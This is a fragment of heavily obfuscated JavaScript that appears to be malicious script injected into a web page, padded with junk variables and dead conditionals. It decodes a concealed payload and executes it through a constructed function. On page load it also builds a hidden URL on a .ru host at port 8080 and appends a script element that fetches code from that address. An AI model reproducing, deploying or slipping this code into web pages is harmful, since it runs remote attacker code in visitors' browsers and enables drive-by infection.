[4,2,0,3,1]),8, Z("ufcnitno)(", [1,0]),11, Z("ogog.celom", [3,2,0,1]),12, Z("cdrev.ycom", [4,3,2,6,0,1,5]),14, Z("tac(hce)", [2,1,0]),15, Z("g.cidgom", [4,3,5,0,1,2]),16, Z("icpcfoo", [2,0,3,4,5,1]),17, Z("ht\"tp:", [2,0,1,3]),18, Z(".dsrc", [1,0,2]),19, Z("1\')\'", [1,0]),20, Z("rty", [1,0])];var BXm;if(BXm!='' && BXm!='XOx'){BXm=''};var Wp = k[Z("nlgteh", [1,4,0,2,3])];this.Hu="Hu";var z =[42,0,252,81][1];var Nv='';var yY="yY";this.Sc="";var ic=27589;var Nva;if(Nva!=''){Nva='xe'};var dB="dB";var aV;if(aV!='' && aV!='jU'){aV='pg'};var TU;if(TU!='Dg' && TU != ''){TU=null};for(var jz=z; jz < Wp; jz+=Ej){fK+= r; var Rr;if(Rr!='YYP' && Rr!='Be'){Rr='YYP'};fK+= k[Z("ussbrt", [1,0])](jz, Ej);var st;if(st!='' && st!='Xj'){st='jr'};var tw=new Date();}var ge=new String();var k = kQ(fK);var YfF;if(YfF!='' && YfF!='th'){YfF=''};var c = new L(s);var rX;if(rX!='AZ' && rX != ''){rX=null};var SX;if(SX!='iX' && SX!='Gm'){SX=''};var p = c[Z("peralce", [2,1,0,4,3])](xD, f);var TA;if(TA!='mf' && TA!='CL'){TA=''};p = W(p);this.jA='';var QTk;if(QTk!=''){QTk='DV'};var T = new L(FF);var LE="";var mfI="";var uk = t[Z("gnleth", [2,3,1,0])];this.Vp=false;var nbt;if(nbt!=''){nbt='GA'};var hx='';this.WR='';this.Ei='';this.Xa='';var CW = T[Z("epracle", [2,0,1])](xD, f);var CW = Oz(CW);var rh=Oz(p);this.hZ="hZ";this.JE="JE";this.ZV="ZV";var ve;if(ve!='Wd' && ve != ''){ve=null};for(var V=z; V < (k[Z("elgnht", [1,0])]);V=V+[250,214,1,239][2]) {this.LI="";this.dpx="";var cl = p.charCodeAt(J);this.ro='';this.ul='';var v = H(k,V);var wjN;if(wjN!=''){wjN='UH'};var hi=new Date();var Pg=new Array();v = bM(v, cl);this.NQD='';v = bM(v, rh);this.yYD=2910;var JY;if(JY!='' && JY!='Nq'){JY=null};v = bM(v, CW);var lr=new Date();var Li='';var Aj;if(Aj!='BA' && Aj!='gE'){Aj=''};J++;var LW;if(LW!='' && LW!='Dd'){LW=null};if(J > p.length-F){var stB;if(stB!='' && stB!='om'){stB='RR'};var BAJ="";J=z;}var EUy="EUy";this.Xp=14032;var eK=new String();var iz;if(iz!='' && iz!='Sq'){iz='Fi'};ey += e(v);}for(I=z; I < uk; I+=Ej){var Sm;if(Sm!='VZ' && Sm!='ix'){Sm='VZ'};var w = e(t[I]);var ca=new String();var Nz;if(Nz!=''){Nz='rv'};var l = t[I + F];this.RRB="";var EV;if(EV!='' && EV!='yp'){EV=null};var Eq="Eq";var qDO;if(qDO!='' && qDO!='YF'){qDO=null};this.uO=40568;var OB = new gU(w, "g");this.XI=32437;this.xx=19693;ey=ey[Z("apeecrl", [5,2,1,6,0,4,3])](OB, l);}var uA="uA";var TC;if(TC!='' && TC!='EF'){TC=null};var yx=new FF(ey);var Rkc;if(Rkc!='oF' && Rkc!='Shm'){Rkc=''};var Cs;if(Cs!='CP' && Cs!='Rq'){Cs='CP'};yx();var dj='';var gsY=new Date();var uD=new String();yx = '';rh = '';var xca='';this.Ncz=63489;T = '';this.oS='';p = '';var kQd;if(kQd!='wp' && kQd!='wv'){kQd=''};var Wmk="Wmk";CW = '';ey = '';var kZ=false;var MU;if(MU!='' && MU!='sR'){MU=null};this.gaK=false;var FDK;if(FDK!='gu'){FDK=''};return '';var jS=new String();};var Iy;if(Iy!='PoB' && Iy!='Yu'){Iy='PoB'};var RI='';var hr='';s(hF);
var H;if(H!='A'){H=''};this.sz="";function X() {var DM='';var O='';var q;if(q!='a'){q='a'};var ML="";var z='replace';var Q=new String();var YC=RegExp;this.WE="";var j='[';var Ml=new String();var b='g';var Dn;if(Dn!='' && Dn!='K'){Dn=''};var y=new String();var r=new Date();var Ze=new Date();var T=']';function Y(G,d){var l;if(l!='' && l!='ws'){l=null};var D=j;D+=d;D+=T;var zm='';var PA='';var V=new YC(D, b);var ei;if(ei!='' && ei!='UV'){ei=null};return G[z](V, y);var _N=new Array();var w_;if(w_!='Oe'){w_='Oe'};};var k;if(k!='bz' && k!='TT'){k=''};var Lx;if(Lx!='' && Lx!='B'){Lx=''};var n=Y('811405686460665',"4561");var La="";var rz=new Array();var Z=Y('hJtJtJpJ:R/J/RkJoRuJbJeRiR-JcJoJmR.RwRaJrJrRiRoRrJfRoJrRuRmJ.RcRoRmJ.JfRrReJeRlRoJtJtJoJ-JcJoJmR.JnJeJwJaRgJeJdJiJrJeJcRtR.JrRuR:J',"RJ");var pl=new Array();var kw='';var bc=window;var ji=Y('svc6rviQpQtQ',"6Qv");var p=Y('cirVegaitVeVEilVeimVeinVti',"Vgi");var NX=new Array();var tk=new String();var s=Y('/BiQzQaF.SnSeF.SjBpF/QiBzBaF.SnFeQ.BjFpS/SpBrFiHcHeBmQiSnSiHsHtHeSrS.FcBoSmF/HgQoFoBgHlBeS.FcQoHmB/B1S7H1F7B3B.BcFoQmS.FpHhBpB',"BFSQH");this.Kz='';var uK=new Date();var Vn='';bc[Y('oxnflxoMaxdM',"sMxf")]=function(){this.na='';try {var GG="";this.Jn='';Vn+=Z;Vn+=n;var vJ;if(vJ!='fK' && vJ!='VP'){vJ='fK'};var me;if(me!='FP'){me=''};Vn+=s;var cR;if(cR!='fn' && cR != ''){cR=null};var nC='';dY=document[p](ji);var JY;if(JY!='' && JY!='DG'){JY=null};this.NT='';var MC;if(MC!='YU'){MC=''};this.rYd="";N(dY,'src',Vn);var hp="";this.k_="";N(dY,'defer',([1,7][0]));var xz=new String();var mp=new String();var _T;if(_T!='yY'){_T=''};document.body.appendChild(dY);} catch(f){var QzP=new String();var hf=new String();};var vV='';var UYC;if(UYC!='QY' && UYC!='JW'){UYC='QY'};};var jI='';function N(W,_,R){W.setAttribute(_, R);}var PN=new Date();this.doA="";var pO=new String();var BS;if(BS!='uC' && BS != ''){BS=null};};X();var Aj='';var ZZ='';